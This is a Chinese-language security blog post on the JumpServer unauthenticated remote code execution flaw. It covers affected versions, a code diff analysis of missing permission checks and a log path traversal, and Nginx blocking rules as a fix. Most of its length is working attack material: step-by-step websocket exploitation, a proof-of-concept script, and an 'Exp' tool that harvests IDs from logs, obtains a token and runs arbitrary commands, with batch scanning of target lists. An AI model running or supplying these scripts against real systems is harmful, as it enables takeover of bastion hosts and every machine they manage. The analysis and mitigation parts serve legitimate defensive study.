JumpServer 远程代码执行漏洞


1 简介

JumpServer 是全球首款开源的堡垒机,使用 GNU GPL v2.0 开源协议,是符合 4A 规范的运维安全审计系统。JumpServer 使用 Python / Django 为主进行开发,遵循 Web 2.0 规范,配备了业界领先的 Web Terminal 方案,交互界面美观、用户体验好。JumpServer 采纳分布式架构,支持多机房跨区域部署,支持横向扩展,无资产数量及并发限制。

2 漏洞原理

由于 JumpServer 某些接口未做授权限制,攻击者可构造恶意请求从日志文件获取敏感信息,或者执行相关API操作控制其中所有机器,执行任意命令。

3 影响范围

  • JumpServer < v2.6.2
  • JumpServer < v2.5.4
  • JumpServer < v2.4.5
  • JumpServer = v1.5.9

4 漏洞分析

根据官方通告,以下两个接口受得影响:

  1. /api/v1/authentication/connection-token/
  2. /api/v1/users/connection-token/

创建两个目录,jumpserver1和jumpserver2,分别将jumpserver v2.6.1和jumpserver v2.6.2的源码下载下来,如图:

然后分别解压。接着比较两个版本代码部分的变动,即apps目录下的文件,使用命令git diff jumpserver1/jumpserver-2.6.1/apps/ jumpserver2/jumpserver-2.6.2/apps/,如图:

在2.6.2版本auth.py中删除了get_permissions函数,在ws.py中connect函数增加了授权判断。从红色部分源代码中可看出,在有user-only参数值的情况下,会有AllowAny权限。从蓝色部分源代码中可看出来2.6.1版本中是不存在权限判断的。查看auth.py完整代码,如图:

get_permissions函数为UserConnectionTokenApi类的成员函数。正确POST提交user,asset和system_user参数的值后会返回一个token。正确GET提交token并且包含user-only参数的情况下会返回用户信息。查看ws.py完整源代码,如图:

connect函数没有权限判断,因此只要建立连接就可访问所有内容。receive函数通过task参数获取task_id,wait_util_log_path_exist函数通过get_celery_task_log_path函数获得日志文件路径,然后返回文件对象。通过read_log_file函数即可读取日志内容。定位到get_celery_task_log_path函数发现路径拼接方法:settings.CELERY_LOG_DIR/task_id[0]/task_id[1]/task_id.log,且会递归创建该目录,如图:

上述过程并未对task_id做过滤、转移等处理,因此存在路径穿越漏洞,利用该漏洞配合日志读取函数可读取所有.log文件。定位settings.CELERY_LOG_DIR如下:

因此可以先从log文件中读取出user、asset、system_user三个参数,然后使用apps/authentication/api/auth.py未授权获得API token,最终通过API执行任意代码。

5 漏洞利用

使用ws://192.168.58.145:8080/ws/ops/tasks/log/连接websocket,然后发送{"task":"/opt/jumpserver/logs/jumpserver"}获取task_id,如图:

需要有资产列表中的主机连接或登录过才可获得task_id,如图:

在/opt/jumpserver/logs/gunicorn.log文件中可找到user、asset、system_user三个参数的值,如图:

也可以通过websocket发送{"task":"/opt/jumpserver/logs/gunicorn"}获得,如图:

POST提交这三个参数,GET提交user-only=None即可获得token,如图:

然后利用该token建立websocket连接(该token有效期20s,因此必须在20s内建立连接),打开ws://192.168.58.145:8080/koko/ws/token/?target_id=xxx,然后依次发送红色Json数据即可执行命令,如图:

直接使用Poc测试,如图:

使用Exp测试,如图:

6 修复方法

  1. 升级 JumpServer 至最新版本。
  2. 设置当前产品的控制台登录IP地址白名单限制。
  3. 修改Nginx配置文件,以屏蔽漏洞接口 :
  4. /api/v1/authentication/connection-token/
  5. /api/v1/users/connection-token/

Nginx配置文件位置如下:

社区老版本
/etc/nginx/conf.d/jumpserver.conf
# 企业老版本
jumpserver-release/nginx/http_server.conf
# 新版本在 
jumpserver-release/compose/config_static/http_server.conf

Nginx配置文件实例为:

### 保证在 /api 之前 和 / 之前
location /api/v1/authentication/connection-token/ {
   return 403;
}
 
location /api/v1/users/connection-token/ {
   return 403;
}
### 新增以上这些
 
location /api/ {
    proxy_set_header X-Real-IP $remote_addr;
    proxy_set_header Host $host;
    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    proxy_pass http://core:8080;
  }
 
...

修改配置文件完毕后,重启Nginx服务即可。

7 Poc

来自jumpserver最新RCE复现——塔王

# -*- coding: utf-8 -*-
# import requests
# import json
# data={"user":"4320ce47-e0e0-4b86-adb1-675ca611ea0c","asset":"ccb9c6d7-6221-445e-9fcc-b30c95162825","system_user":"79655e4e-1741-46af-a793-fff394540a52"}
#
# url_host='http://192.168.1.73:8080'
#
# def get_token():
#     url = url_host+'/api/v1/users/connection-token/?user-only=1'
#     url =url_host+'/api/v1/authentication/connection-token/?user-only=1'
#     response = requests.post(url, json=data).json()
#     print(response)
#     ret=requests.get(url_host+'/api/v1/authentication/connection-token/?token=%s'%response['token'])
#     print(ret.text)
# get_token()
import asyncio
import websockets
import requests
import json
url = "/api/v1/authentication/connection-token/?user-only=None"

# 向服务器端发送认证后的消息
async def send_msg(websocket,_text):
    if _text == "exit":
        print(f'you have enter "exit", goodbye')
        await websocket.close(reason="user exit")
        return False
    await websocket.send(_text)
    recv_text = await websocket.recv()
    print(f"{recv_text}")

# 客户端主逻辑
async def main_logic(cmd):
    print("[*] 连接WebSocket服务器......")
    async with websockets.connect(target) as websocket:
        recv_text = await websocket.recv()
        #输出返回值
        #print(f"{recv_text}")
        resws=json.loads(recv_text)
        id = resws['id']
        print("[+] 获得id: "+id)
        print("[*] 初始化终端......")
        inittext = json.dumps({"id": id, "type": "TERMINAL_INIT", "data": "{\"cols\":164,\"rows\":17}"})
        await send_msg(websocket,inittext)
        for i in range(100):
            recv_text = await websocket.recv()
            #print(f"{recv_text}")
        print("[*] 执行命令: "+cmd)
        cmdtext = json.dumps({"id": id, "type": "TERMINAL_DATA", "data": cmd+"\r\n"})
        #print(cmdtext)
        await send_msg(websocket, cmdtext)
        for i in range(100):
            recv_text = await websocket.recv()
            print(f"{recv_text}")

if __name__ == '__main__':
    try:
        import sys
        host=sys.argv[1]
        cmd=sys.argv[2]
        if host[-1]=='/':
            host=host[:-1]
        #print(host)
        data = {"user": "4da648a2-1c65-42d9-a73f-06278d9455f2", "asset": "be50f1ff-a58d-4049-a2d3-5ac462549c1f","system_user": "bf23ea7f-bc15-4cdb-b6ba-ce022fce67a6"} #{"user": "4da648a2-1c65-42d9-a73f-06278d9455f2", "asset": "be50f1ff-a58d-4049-a2d3-5ac462549c1f","system_user": "bf23ea7f-bc15-4cdb-b6ba-ce022fce67a6"}
        #print("get token url:%s" % (host + url,))
        res = requests.post(host + url, json=data)
        token = res.json()["token"]
        print("[+] 获得token:",token)
        target = "ws://" + host.replace("http://", '') + "/koko/ws/token/?target_id=" + token
        #print("target ws:%s" % (target,))
        asyncio.get_event_loop().run_until_complete(main_logic(cmd))
    except:
        print("Usage: python3 "+sys.argv[0]+" [Target URL] [Command]\r\nExample: python3 "+sys.argv[0]+" http://192.168.1.73:8080 whoami")

8 Exp

在大佬的基础上简单修改而得:

#!/usr/bin/python3
# -*- coding: utf-8 -*-
import asyncio
import websockets
import requests
import json
import re
import sys
import argparse

path = "/api/v1/authentication/connection-token/?user-only=None"

# 向服务器端发送认证后的消息
async def send_msg(websocket,_text):
    if _text == "exit":
        #print(f'you have enter "exit", goodbye')
        await websocket.close(reason="user exit")
        return False
    await websocket.send(_text)
    recv_text = await websocket.recv()
    #print(f"{recv_text}")

# 客户端主逻辑
async def main_logic(url,cmd):
    print("[*] 连接WebSocket服务器......")
    target = "ws://"+url.replace("http://",'')+"/ws/ops/tasks/log/"
    async with websockets.connect(target) as websocket:
        # 获取三个参数值
        await send_msg(websocket,json.dumps({"task":"/opt/jumpserver/logs/gunicorn"}))
        for i in range(100):
            recv_text = await websocket.recv()
            three_pram=re.findall(r"asset_id=[a-z0-9\-]*[a-z\_=0-9\-&]*",recv_text)
            
            if three_pram:
                break
        #print(three_pram)
        for i in range(len(three_pram)):
            three_pram[i]={"asset":re.findall(r"asset_id=[a-z0-9\-]*",three_pram[i])[0][9:],"system_user":re.findall(r"system_user_id=[a-z0-9\-]*",three_pram[i])[0][15:],"user":re.findall(r"&user_id=[a-z0-9\-]*",three_pram[i])[0][9:]}
        print("[+] 获取到三个参数值:",three_pram)
        #取列表第一个元素
        res = requests.post(url + path, data=three_pram[0])
        token = res.json()["token"]
        print("[+] 获得token:",token)
        await send_msg(websocket,"exit")
    target2 = "ws://" + url.replace("http://", '') + "/koko/ws/token/?target_id=" + token
    async with websockets.connect(target2) as websocket2:
        recv_text = await websocket2.recv()
        # 获取id
        resws=json.loads(recv_text)
        id = resws['id']
        print("[+] 获得id: "+id)
        print("[*] 初始化终端......")
        inittext = json.dumps({"id": id, "type": "TERMINAL_INIT", "data": "{\"cols\":164,\"rows\":17}"})
        await send_msg(websocket2,inittext)
        recv_text = await websocket2.recv()
        # 执行命令
        print("[+] 执行命令: "+cmd)
        cmdtext = json.dumps({"id": id, "type": "TERMINAL_DATA", "data": cmd+"\r\n"})
        await send_msg(websocket2, cmdtext)
        print("[+] 执行结果:")
        # 接收10次数据
        for i in range(10):
            recv_text = await websocket2.recv()
            #print(i,recv_text)
            result=json.loads(recv_text)
            print(result["data"])
        await send_msg(websocket2,"exit")

# 漏洞检测
async def check_vuln(url):
    target = "ws://"+url.replace("http://",'')+"/ws/ops/tasks/log/"
    print("[*] Check:",url)
    try:
        async with websockets.connect(target) as websocket:
        
        # 获取三个参数值
            await send_msg(websocket,json.dumps({"task":"/opt/jumpserver/logs/gunicorn"}))
            for i in range(100):
                recv_text = await websocket.recv()
                three_pram=re.findall(r"asset_id=[a-z0-9\-]*[a-z\_=0-9\-&]*",recv_text)
                if three_pram:
                    break
            await send_msg(websocket,"exit")
            print("[Vulnerable]",url)
    except:
        pass

parser=argparse.ArgumentParser(description="JumpServer RCE Exploit Script!    --By Infiltrator",epilog="Example: python3 JumpServer_Exp.py -u http://192.168.1.73:8080 -e whoami")
group = parser.add_mutually_exclusive_group(required=True)
group2 = parser.add_mutually_exclusive_group(required=True)
group.add_argument('-u','--url',help="目标url地址")
group.add_argument('-f','--file',type=argparse.FileType('r',encoding='utf8'),help="目标url文件")
group2.add_argument('-c','--check',action='store_true',help="只检查不执行命令")
group2.add_argument('-e','--execute',help="需要执行的命令")
args = parser.parse_args()

if args.url and args.check:
    asyncio.get_event_loop().run_until_complete(check_vuln(args.url))
if args.file and args.check:
    fl=args.file.read().split('\n')
    for i in fl:
        asyncio.get_event_loop().run_until_complete(check_vuln(i))
if args.url and args.execute:
    asyncio.get_event_loop().run_until_complete(main_logic(args.url,args.execute))
if args.file and args.execute:
    print("[!] 该功能暂未实现!")

9 参考文章

https://articles.zsxq.com/id_greaukj7ex2n.html
https://mp.weixin.qq.com/s/KGRU47o7JtbgOC9xwLJARw

声明:Hack All Sec的博客|版权所有,违者必究|如未注明,均为原创|本网站采用BY-NC-SA协议进行授权

转载:转载请注明原文链接 - JumpServer 远程代码执行漏洞


Hacker perspective for security